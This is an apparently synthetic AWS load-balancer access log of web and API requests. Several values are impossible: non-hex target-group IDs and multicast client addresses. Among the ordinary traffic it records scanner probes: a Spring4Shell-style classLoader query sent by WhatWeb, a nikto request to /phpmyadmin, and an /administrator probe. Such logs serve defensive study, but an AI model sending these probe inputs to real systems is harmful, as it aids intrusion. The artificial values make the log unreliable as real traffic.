"Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc0f-2a74fdb675674950a3e034c1" "-" "-" 10 2024-11-01T00:19:11.959270Z "forward" "-" "-" "10.0.238.47:443" "302" "-" "-" -https 2024-11-01T00:19:13.721454Z prod-web-alb 205.144.60.227:26799 10.0.210.170:443 0.064972 0.191839 0.004117 200 200 479 11254 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc11-e2ea0aef008746f68ebcfd96" "prod-web-alb.example.com" "-" 3 2024-11-01T00:19:13.721454Z "forward" "-" "-" "10.0.210.170:443" "200" "-" "-" -https 2024-11-01T00:19:15.546632Z prod-api-alb 236.205.68.165:30182 10.0.31.136:443 0.093119 0.065470 0.041996 404 404 403 9293 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc13-5b7f3d9cbb744d46b9154b70" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:15.546632Z "forward" "-" "-" "10.0.31.136:443" "404" "-" "-" -https 2024-11-01T00:19:16.700708Z prod-web-alb 14.112.176.116:53652 10.0.16.147:443 0.041804 0.447916 0.030329 404 404 61 1079 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc14-09422e16c1de45e7945c58e1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:16.700708Z "forward" "-" "-" "10.0.16.147:443" "404" "-" "-" -http 2024-11-01T00:19:18.073661Z staging-alb 122.193.25.9:62412 41.46.222.175:443 0.143599 0.705046 0.068569 200 200 902 2931 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc16-ad1e584e1a604b5bbdbd390e" "staging-alb.example.com" "-" 4 2024-11-01T00:19:18.073661Z "forward" "-" "-" "41.46.222.175:443" "200" "-" "-" -https 2024-11-01T00:19:19.166624Z prod-api-alb 159.66.211.87:38730 10.0.112.231:443 0.019872 0.342969 0.009397 200 200 608 639 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc17-184dbc88d39541bb98c2058e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:19:19.166624Z "forward" "-" "-" "10.0.112.231:443" "200" "-" "-" -https 2024-11-01T00:19:19.298215Z prod-web-alb 72.154.208.236:12528 10.0.103.192:443 0.006321 0.100606 0.031119 200 200 31 14726 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc17-3720d6be0d8d43beb2d29828" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:19.298215Z "forward" "-" "-" "10.0.103.192:443" "200" "-" "-" -https 2024-11-01T00:19:20.638096Z prod-api-alb 109.224.149.199:50987 10.0.161.149:443 0.079790 0.255147 0.059200 200 200 10 10514 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc18-c0fa719a7d4147c29ca0184a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:20.638096Z "forward" "-" "-" "10.0.161.149:443" "200" "-" "-" -https 2024-11-01T00:19:20.967715Z prod-web-alb 254.44.79.172:54662 10.0.164.28:443 0.069123 0.324109 0.024427 200 200 502 11305 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc18-0449ddc887a34312ae31cf01" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:20.967715Z "forward" "-" "-" "10.0.164.28:443" "200" "-" "-" -https 2024-11-01T00:19:21.079241Z prod-web-alb 11.36.80.51:18289 10.0.215.82:443 0.050859 0.349408 0.047561 302 302 774 3683 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc19-57df994932c34d5498b7c34d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:21.079241Z "forward" "-" "-" "10.0.215.82:443" "302" "-" "-" -https 2024-11-01T00:19:22.076679Z prod-api-alb 72.234.224.217:51739 10.0.255.156:443 0.080941 0.190121 0.097501 200 200 143 7448 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc1a-1b5640f4cc604748ac2b92be" "prod-api-alb.example.com" "-" 1 2024-11-01T00:19:22.076679Z "forward" "-" "-" "10.0.255.156:443" "200" "-" "-" -https 2024-11-01T00:19:23.483493Z staging-alb 51.222.108.117:12023 16.186.30.56:8080 0.124823 0.577256 0.003257 200 200 42 5580 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc1b-9d33d33fc8da47b98d8d5226" "staging-alb.example.com" "-" 3 2024-11-01T00:19:23.483493Z "forward" "-" "-" "16.186.30.56:8080" "200" "-" "-" -https 2024-11-01T00:19:23.953493Z prod-web-alb 104.159.150.8:36554 10.0.12.72:443 0.021344 0.188038 0.020095 200 200 742 9623 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc1b-0070bcddd0d24f5dbea6a9bb" "prod-web-alb.example.com" "-" 3 2024-11-01T00:19:23.953493Z "forward" "-" "-" "10.0.12.72:443" "200" "-" "-" -https 2024-11-01T00:19:24.441936Z prod-api-alb 105.138.137.218:55883 10.0.120.247:443 0.086678 0.217246 0.096419 404 404 522 12963 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc1c-dc7135f1f55a46ef909fc366" "prod-api-alb.example.com" "-" 8 2024-11-01T00:19:24.441936Z "forward" "-" "-" "10.0.120.247:443" "404" "-" "-" -https 2024-11-01T00:19:26.183096Z prod-web-alb 241.33.53.241:29445 10.0.218.153:443 0.067388 0.251767 0.039657 200 200 733 9247 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc1e-5aa3eac09d004e9cbe0a458c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:19:26.183096Z "forward" "-" "-" "10.0.218.153:443" "200" "-" "-" -https 2024-11-01T00:19:27.958545Z prod-api-alb 85.179.57.87:37252 10.0.71.98:443 0.027148 0.025232 0.037792 200 200 751 1194 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc1f-a10d6b2b8c5d4cb5be48fe30" "prod-api-alb.example.com" "-" 10 2024-11-01T00:19:27.958545Z "forward" "-" "-" "10.0.71.98:443" "200" "-" "-" -https 2024-11-01T00:19:29.087323Z prod-api-alb 147.198.171.168:39937 10.0.60.100:443 0.054856 0.275366 0.038083 200 200 517 6452 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc21-7f7b393946854bc49eb9e41a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:19:29.087323Z "forward" "-" "-" "10.0.60.100:443" "200" "-" "-" -https 2024-11-01T00:19:29.637820Z staging-alb 138.220.228.97:23700 112.255.233.94:8080 0.020179 0.732211 0.113974 200 200 449 5546 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc21-cc6b7850647c41d985ec68b9" "staging-alb.example.com" "-" 0 2024-11-01T00:19:29.637820Z "forward" "-" "-" "112.255.233.94:8080" "200" "-" "-" -https 2024-11-01T00:19:29.857249Z staging-alb 45.155.205.9:59104 233.241.241.44:80 0.083975 0.483017 0.086206 404 404 519 295 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc21-64de5ab2eb14413b9fffacc0" "-" "-" 9 2024-11-01T00:19:29.857249Z "forward" "-" "-" "233.241.241.44:80" "404" "-" "-" -https 2024-11-01T00:19:30.239577Z prod-api-alb 247.49.169.66:59201 10.0.181.219:443 0.050866 0.489198 0.026477 302 302 756 8551 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc22-8b1fa43f97b5491f97da3df1" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:30.239577Z "forward" "-" "-" "10.0.181.219:443" "302" "-" "-" -https 2024-11-01T00:19:31.387264Z prod-api-alb 37.39.128.80:11469 10.0.239.91:443 0.066121 0.324262 0.078566 404 404 214 2559 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc23-cacb49f34dff431dbce64571" "prod-api-alb.example.com" "-" 0 2024-11-01T00:19:31.387264Z "forward" "-" "-" "10.0.239.91:443" "404" "-" "-" -https 2024-11-01T00:19:33.232849Z prod-web-alb 185.181.55.98:62375 10.0.39.57:443 0.024235 0.364916 0.021948 301 301 548 1350 "POST /phpmyadmin HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc25-1b66c88685e249a49f2861c3" "-" "-" 8 2024-11-01T00:19:33.232849Z "forward" "-" "-" "10.0.39.57:443" "301" "-" "-" -https 2024-11-01T00:19:33.475022Z prod-web-alb 174.197.215.75:10194 10.0.68.177:443 0.079791 0.178678 0.019945 404 404 588 14821 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc25-18d7fc5824e3493580dfe2eb" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:33.475022Z "forward" "-" "-" "10.0.68.177:443" "404" "-" "-" -https 2024-11-01T00:19:34.104764Z prod-web-alb 254.54.81.190:16117 10.0.152.156:443 0.071648 0.402411 0.038215 301 301 142 997 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc26-0e199069f6c24956a2675ae9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:19:34.104764Z "forward" "-" "-" "10.0.152.156:443" "301" "-" "-" -https 2024-11-01T00:19:34.906875Z staging-alb 76.61.214.191:29664 178.202.176.97:443 0.045939 0.474172 0.102547 301 301 702 3991 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc26-c4f7a4534a7143f7ac19b070" "staging-alb.example.com" "-" 10 2024-11-01T00:19:34.906875Z "forward" "-" "-" "178.202.176.97:443" "301" "-" "-" -https 2024-11-01T00:19:35.880780Z prod-api-alb 206.104.34.174:38319 10.0.97.65:443 0.078040 0.167389 0.003053 200 200 429 11557 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc27-a615a70f831543899d2a7dd7" "prod-api-alb.example.com" "-" 9 2024-11-01T00:19:35.880780Z "forward" "-" "-" "10.0.97.65:443" "200" "-" "-" -https 2024-11-01T00:19:37.447967Z prod-api-alb 146.156.2.128:18592 10.0.73.247:443 0.006873 0.342453 0.073238 301 301 548 8139 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc29-83078c9f25dc40968f3fa488" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:37.447967Z "forward" "-" "-" "10.0.73.247:443" "301" "-" "-" -https 2024-11-01T00:19:39.340304Z prod-api-alb 48.232.100.167:24106 10.0.116.33:443 0.055303 0.189144 0.052716 200 200 577 13078 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc2b-013e8c743f844ec5821de753" "prod-api-alb.example.com" "-" 5 2024-11-01T00:19:39.340304Z "forward" "-" "-" "10.0.116.33:443" "200" "-" "-" -http 2024-11-01T00:19:39.776178Z staging-alb 77.68.60.141:24267 188.217.46.174:8080 0.071418 0.198400 0.110068 200 200 528 9781 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc2b-6947a08d7d7e4a299fa52061" "staging-alb.example.com" "-" 7 2024-11-01T00:19:39.776178Z "forward" "-" "-" "188.217.46.174:8080" "200" "-" "-" -https 2024-11-01T00:19:40.155562Z prod-api-alb 151.25.159.13:48246 10.0.183.211:443 0.067986 0.488739 0.039896 200 200 966 9914 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc2c-91e18f816caf4e73a7a8c1b2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:19:40.155562Z "forward" "-" "-" "10.0.183.211:443" "200" "-" "-" -https 2024-11-01T00:19:40.933727Z prod-api-alb 61.85.144.192:43380 10.0.50.87:443 0.067010 0.447035 0.051430 301 301 331 13970 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc2c-30ac0b4414d74c378bee56ae" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:40.933727Z "forward" "-" "-" "10.0.50.87:443" "301" "-" "-" -https 2024-11-01T00:19:42.123146Z prod-web-alb 59.207.110.26:16409 10.0.220.45:443 0.029239 0.207852 0.062480 200 200 357 13116 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc2e-261e07cb4287472fb438a4b1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:42.123146Z "forward" "-" "-" "10.0.220.45:443" "200" "-" "-" -http 2024-11-01T00:19:44.025342Z staging-alb 45.164.69.109:35490 254.140.67.104:443 0.107863 0.153267 0.110740 200 200 615 14687 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc30-83abe083f1244270a4a7dd19" "staging-alb.example.com" "-" 9 2024-11-01T00:19:44.025342Z "forward" "-" "-" "254.140.67.104:443" "200" "-" "-" -https 2024-11-01T00:19:45.295711Z prod-web-alb 88.72.71.200:43075 10.0.253.67:443 0.036408 0.408509 0.084335 302 302 269 13673 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc31-48b3ab94262d430e9ed8a399" "prod-web-alb.example.com" "-" 7 2024-11-01T00:19:45.295711Z "forward" "-" "-" "10.0.253.67:443" "302" "-" "-" -https 2024-11-01T00:19:47.095536Z staging-alb 151.22.196.215:41066 226.137.248.238:8080 0.035214 0.032311 0.023534 404 404 626 9064 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc33-e74b82741b874b3784e2c3b9" "staging-alb.example.com" "-" 1 2024-11-01T00:19:47.095536Z "forward" "-" "-" "226.137.248.238:8080" "404" "-" "-" -https 2024-11-01T00:19:48.906130Z staging-alb 203.78.255.59:38141 166.221.153.121:443 0.008545 0.611102 0.024212 404 404 676 2880 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc34-724277c8b4df4a1da4cef2d3" "staging-alb.example.com" "-" 8 2024-11-01T00:19:48.906130Z "forward" "-" "-" "166.221.153.121:443" "404" "-" "-" -https 2024-11-01T00:19:50.484805Z prod-api-alb 18.235.175.7:31541 10.0.46.16:443 0.048559 0.243676 0.012897 200 200 274 5521 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc36-eea8274adfa04bdea0fc62e4" "prod-api-alb.example.com" "-" 1 2024-11-01T00:19:50.484805Z "forward" "-" "-" "10.0.46.16:443" "200" "-" "-" -https 2024-11-01T00:19:52.184798Z prod-api-alb 86.145.6.201:12963 10.0.237.195:443 0.017132 0.199536 0.012371 301 301 612 4938 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc38-5f623e95cf4240df94096024" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:52.184798Z "forward" "-" "-" "10.0.237.195:443" "301" "-" "-" -https 2024-11-01T00:19:54.173333Z staging-alb 202.208.56.30:11627 140.115.122.41:8080 0.139607 0.444385 0.048294 404 404 20 8439 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc3a-c44578946c9741f395daae90" "staging-alb.example.com" "-" 10 2024-11-01T00:19:54.173333Z "forward" "-" "-" "140.115.122.41:8080" "404" "-" "-" -https 2024-11-01T00:19:54.800748Z prod-api-alb 161.31.21.150:35084 10.0.131.45:443 0.034134 0.485493 0.029710 200 200 964 14205 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc3a-a12a4dfecf114a11bf00f32f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:19:54.800748Z "forward" "-" "-" "10.0.131.45:443" "200" "-" "-" -https 2024-11-01T00:19:56.682071Z prod-web-alb 93.147.21.22:51916 10.0.149.98:443 0.085072 0.311326 0.007463 200 200 693 8011 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc3c-97664f3b93f041728a722f1a" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:56.682071Z "forward" "-" "-" "10.0.149.98:443" "200" "-" "-" -https 2024-11-01T00:19:56.810034Z prod-web-alb 101.229.26.7:37485 10.0.232.19:443 0.091462 0.088361 0.026995 200 200 838 5057 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc3c-f8c590e578b64b42b9549772" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:56.810034Z "forward" "-" "-" "10.0.232.19:443" "200" "-" "-" -https 2024-11-01T00:19:57.787404Z prod-api-alb 235.76.67.10:36487 10.0.212.227:443 0.023474 0.460367 0.098584 302 302 683 8371 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc3d-7edac6a700ee4e41a1e7a452" "prod-api-alb.example.com" "-" 8 2024-11-01T00:19:57.787404Z "forward" "-" "-" "10.0.212.227:443" "302" "-" "-" -https 2024-11-01T00:19:59.595827Z prod-web-alb 114.63.82.9:16266 10.0.46.184:443 0.067776 0.432499 0.070318 200 200 621 13259 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc3f-3ea0261861a64bbd836c0119" "prod-web-alb.example.com" "-" 7 2024-11-01T00:19:59.595827Z "forward" "-" "-" "10.0.46.184:443" "200" "-" "-" -https 2024-11-01T00:20:00.333571Z prod-web-alb 193.27.228.87:56335 10.0.23.229:443 0.044081 0.437070 0.050819 301 301 376 5257 "GET /administrator HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc40-de08576d8b45490b994ffa16" "-" "-" 6 2024-11-01T00:20:00.333571Z "forward" "-" "-" "10.0.23.229:443" "301" "-" "-" -https 2024-11-01T00:20:01.313080Z staging-alb 119.235.157.13:27934 202.141.134.48:80 0.133343 0.743299 0.025265 404 404 674 5210 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc41-028d5f95970843b2a8e4d796" "staging-alb.example.com" "-" 1 2024-11-01T00:20:01.313080Z "forward" "-" "-" "202.141.134.48:80" "404" "-" "-" -https 2024-11-01T00:20:02.950218Z prod-api-alb 70.184.158.199:45476 10.0.59.175:443 0.046377 0.132046 0.057108 301 301 265 12268 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 